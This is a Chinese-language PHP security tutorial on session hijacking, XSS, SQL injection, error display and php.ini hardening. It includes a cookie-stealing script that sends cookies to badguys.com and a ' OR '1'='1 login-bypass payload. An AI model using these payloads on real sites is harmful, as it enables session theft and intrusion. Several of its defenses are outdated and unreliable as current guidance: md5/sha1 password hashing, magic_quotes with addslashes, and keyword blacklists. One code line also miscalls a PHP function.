Session ID Protection Session ID 保护问题 Session ID 错了将会使PHP网站导致一些问题。PHP的session跟踪机制采用唯一的ID来识别不同的用户,但如果这个ID被别的用户知道了,那么他就可以"抢劫"这个用户的ID而看到一些机密的信息。Session ID "抢劫"是不可能完全避免的,你应该熟悉它可以造成的破坏和造成破坏的方法,这样你可以最大程度上减小这个损害。 举例说明,当一个用户已经通过验证了并且分配给他了一个session ID,但你在显示一些敏感信息时(比如修改密码)应该再次验证这个用户。一定不要在用户修改密码时而不要求他输入原来的密码。你也应该避免只通过验证session ID的方法就把一些非常敏感的信息显示给用户,比如信用卡号。 用户重新登陆后你应该通过session_regenerate_id这个函数来重新分配一个新的session ID给他。有一些"抢劫"session ID的人可能会在登陆前就设置好自己的session ID。通过重新分配session ID的方法可以有效的防止这个。 如果你的网站是运行在一个公共的服务器上时,你应该清楚的意识到任何session变量都可以很容易的被同样在这个服务器上的别的用户知道。解决这个问题的方法是把所有的敏感信息都储存在数据库中,并通过session ID来唯一关联他们。如果你非要把密码保存在session变量中,一定不要以明文方式保存,你应该用sha1() (PHP 4.3+) 或 md5()函数来加密他们。
if ($_SESSION[password] == $userpass) { // do sensitive things here }
上面这段代码是不安全的,因为密码是以明文的方式保存在session变量中。所以你应该用下面这段代码来替代他:
if ($_SESSION[sha1password] == sha1($userpass)) { // do sensitive things here }
SHA-1算法也有漏洞,比如可以暴力破解。尽管如此,这项技术还是被广泛的使用来储存密码。必要时可以用MD5函数来储存密码,但是你得记住,现在的技术已经有可能在一小时内破解MD5所加密的密码。理想的是用一个函数比如SHA-256来保存密码,这种函数可以在PHP上运用,但是完全独立于PHP。 Bruce Schneier's网站是一个非常好的资源用来学习一些更高级的东西。
Cross Site Scripting (XSS) Flaws 跨站点脚本漏洞(XSS) 跨站点脚本漏洞也是一个用户验证的问题,例如一个恶意的用户在提交的数据中插入了一段脚本命令,最常见的就是JS,而这段脚本被别的用户执行了。 举个例说,如果你的应用程序包含一个用户可以提交信息的论坛,而这些信息任何人都可以看见,那么如果一个恶意的用户提交了一个<sctipt>标签,比如下面的代码,那么就有可能在使这个页跳转到一个他们控制的网站,这样他们就可以通过GET的方式取得你的cookie和session信息,然后重新把页面跳转回原来的页面,就象什么都没发生一样。那么恶意的用户就可以收集别的用户session和cookie的信息,然后用这些数据来"抢劫"session ID或用其他的方式攻击你的站点。
<script> document.location = 'http://www.badguys.com/cgi-bin/cookie.php?' + document.cookie; </script>
为了防止这种攻击,你必须屏蔽掉用户输入的<script>标签,而把他们转换成<和>的HTML代码的实体,这样别的用户通过查看HTML源码看到的就是 <和 > ,而不会是script代码了。 cgisecurity.com 站点提供了大量的跨站点脚本漏洞的资料,而且解释的非常好。极力推荐大家阅读它并理解它。XSS漏洞是非常难发现的,也是在我们编写PHP程序时一个非常容易犯的错误。
SQL Insertion Vulnerabilities SQL注入攻击 SQL注入攻击也是一种输入验证的漏洞。特别的是,它们可以利用数据库查询。举例来说,在你的PHP脚本中,你可能会要求用户输入他们的ID和密码,然后检查他们的密码和数据库中的用户信息是不是吻合。
SELECT * FROM users WHERE name='$username' AND pass='$password';
但,如果用户在登陆时用另外一种迂回的方法,你可以输入下面的信息做为他的密码。
' OR '1'='1
这样就会导致SQL查询语句变成下面这样:
SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';
这样就会在不加以验证的情况下返回用户名,因为在任何情况下上面的SQL语句都是正确的,因为'1'='1'永远正确。这样恶意用户就可以随便选一个用户名登陆你的系统。你可以在PHP.INI中打开magic_quotes_gpc。但如果你用的是共享的服务器,而你没有权限修改php.ini的话,你可以用代码来检测magic_quotes_gpc是否是on,如果是off的话,那么你应该在把用户提交的数据用addslashes()函数过滤,然后提交给数据库。代码如下:
if (magic_quotes_gpc()){ $username = $_GET["username"]; } else { $username = addslashes($_GET["username"]); }
如果magic_quotes_gpc是on的话,就不要用addslashes()函数了,如果你用了的话,就时一些特殊符号转义两次,这样会导致错误。 SQL注入漏洞不会总是导致扩大权限。比如,恶意用户可以通过他得到已选择的数据库中的记录。 在用户提交数据给数据库查询时,你应该要检查是否包含 ' " , ; ( ) 这些符号,甚至要检查是否包含关键字,比如 FROM , LIKE , WHERE 等。这写是SQL注入攻击中常见的字符,所以当这些字符是不必要的话,你应该在用户提交数据时过滤掉,那么你就不用担心SQL注入这种漏洞了。
Error Reporting 错误报告 你应该保证在你的php.ini中显示错误报告的变量的值是0,也就是不显示任何错误报告。就算你的代码有问题,比如数据库连接发生错误,也不要把它显示给终端的用户。恶意的用户会利用这些错误知道你的应用程序内部是怎么运行的,他们一般是通过提交非法的数据来查看你的应用程序显示的错误报告。 display_errors的值你可以在运行程序时通过ini_set函数来修改,但这没有直接在php.ini文件中修改好。比如当你的程序有致命的错误时,这些错误报告有可能还是会显示出来,比如这个程序不能运行,那么ini_set函数照样也不能运行。 你可以设置error_log的值为1,这样就能经常把你的程序出现的错误写入一个error log中。或者你可以使用自己的error函数,比如在发生错误时发一封email给你报告哪出错了,或者在发生错误时执行别的PHP代码。这是一个明智的预防措施,这样你就可以在恶意用户知道这个漏洞存在之前发现这个漏洞,而及时修补。你可以查看PHP手册中的error handling和set_error_handler()函数
Data Handling Errors 数据处理错误 数据处理错误在PHP程序中不是经常发生,但PHP程序员也应该注意它们。这类错误一般发生在提交的数据不可靠,导致可能被恶意用户中途拦截这些数据并加以修改然后提交给我们的PHP程序。 最常见的数据处理错误是在HTTP传输敏感数据的过程。信用卡号码和用户信息是最常见的敏感数据,比如如果你传送用户名和密码,而通过这个用户名和密码可以取得敏感信息。所以你在传送敏感信息给用户并且显示在用户的浏览器上时应该使用SSL。否则,在你的服务器和终端用户之间的恶意偷听者将会很容易的通过网络数据包取得这些敏感数据。 还有这种错误可能会发生在你通过FTP来更新你的网站的时候,因为FTP是一个不可靠的协议。比如你通过这种不可靠的协议来传送一些文件包含服务器的密码的时候,有可能会被偷听者截取。所以你应该使用可靠的协议比如SFTP或SCP来传送这些敏感的文件。而且千万不要通过EMAIL来传送敏感信息。只要可以读取网络数据的任何人都可以看见你的EMAIL信息。就象你把信息写在明信片背后然后邮寄出去一样。其实实际上被截取的几率很小,但我们也没必要冒这种风险,不是么? 最大程度上减小数据处理错误是非常重要的。比如你的程序是一个网上商城,那么就有必要保存一些交过定单的信用卡的号码超过6个月?你应该把他们保存在不能连上网络的地方,并且和你的服务器不相连。这不但是一种最基本的方法来防止入侵,也可以服务器被入侵后带来的损失。没有什么安全系统是完美的,所以你的安全系统也不是。
Configuring PHP For Security PHP安全配置 一般来说,大部分新的PHP版本会比老的PHP版本安全。但是,如果你的应用程序安装在一个比较古老而且PHP版本比较低服务器上时,那么默认的设置就没有最新版本的PHP中默认的设置来得安全了。 你应该建立一个页面来显示phpinfo()函数来查看你的的PHP.INI中的变量设置,并找到其中不可靠的设置。把这个文件放在一个别人不能访问的地方。因为PHP.INI的设置对黑客收集信息来说非常有用。 下面列举了在PHP设置中的一些建议: register_globals: 最危险的设置,在以前的PHP版本中默认的是on,但现在的PHP版本中已经默认为OFF了。它把所有用户输入的变量都当作全局变量来解释。请检查这个设置并把他设置为OFF。不要问为什么,没有原因,Just do it!这个设置比其他任何东西造成的安全问题都多。如果你是使用的共享的主机,你应该在每一页都使用ini_set()函数来禁止这个设置,把他设置成OFF。
Magic Quotes:magic quotes设置回自动把单引号,双引号和反斜线符号自动转义。magic_quotes_gpc提供的是转义GET,POST,COOKIE变量,而magic_quotes_runtime提供的是转义从数据库或文件中得到的数据。你应该在运行程序时使用ini_get()函数来检查这些设置,如果它们是关闭的话,那么你应该使用addslashes函数手工转义GET,POST,COOKIE变量,代码你可以看上面SQL注入那的例子。
safe_mode:safe_mode设置是一个非常有用的方法来防止非法连接本地文件。你只允许文件的所有者来读取和运行PHP脚本。如果你的程序经常要打开本地文件,那么可以考虑开启这个设置。
disable_functions:这个设置只能在php.ini中修改,而不能在运行程序时修改。这个设置可以让你屏蔽掉某些你不希望使用的函数。它可以防止运行一些有害的PHP代码。有一些函数当你不使用时把它们屏蔽掉是非常有用的,他可以防止别人非法的运行这些函数。
请阅读PHP手册的安全部分并且熟悉它。当有黑客想入侵你的网站时,你会尝到好处。当黑客们放弃攻击你的网站而去攻击另外的容易的目标时,那么你就及格了。
深入学习 下面的这些站点是我推荐你阅读来加强你的安全知识的。新的漏洞和新的攻击方式每时每刻都在更新。所以我在这篇文章的介绍中就说了,"安全是一个过程",而且安全教育也是一个过程,所以你的安全知识必须随时更新。
OWASP: 开源的WEB安全应用程序,是一个不获利的组织,专注于"找出和打击使软件不可靠的根源" ,他们提供的一些资料是无价的,而且会定期举行一些讨论。极力推荐!
CGISecurity.Net::是另外一个非常好的WEB安全站点,他们有许多有趣的FAQ,和一些有深度的安全文档。
请不要忽略文章下面的评论,有一些非常好的而且是最新的信息可以在这些用户的评论中找到。
phpAdvisory:是一个专注于PHP安全问题的网站。它列举一些PHP最近的安全问题而且给出了解决这些问题的方法。
BugTraq邮件列表: 也是一个非常好的安全资源。你如果对PHP安全问题有兴趣的话,你应该经常的关注它。你会对它包含的安全问题的数量感到惊讶,比如我上面提到的SQL注入,跨站点脚本攻击和其他的一些漏洞。
Linux Security:是另外的一个好的站点。因为你极有可能是在LINUX主机上运行你的PHP程序。
总结 就象我在这篇文章中说到的,你在编写PHP程序时应该了解很多的安全问题,而且这些安全问题很多都是别的语言和别的平台也包括的。PHP并不比其他的任何语言安全。最重要的你得使用好。我希望你能在这篇文章中得到乐趣并学会一些东西。 请记住:just because you're paranoid doesn't mean there's no one out to get you
经典论坛讨论帖: http://www.blueidea.com/bbs/newsdetail.asp?id=2404271
出处:蓝色理想
责任编辑:moby
上一页 Php 安全错误 Top 7 [1] 下一页
◎进入论坛网络编程版块参加讨论
|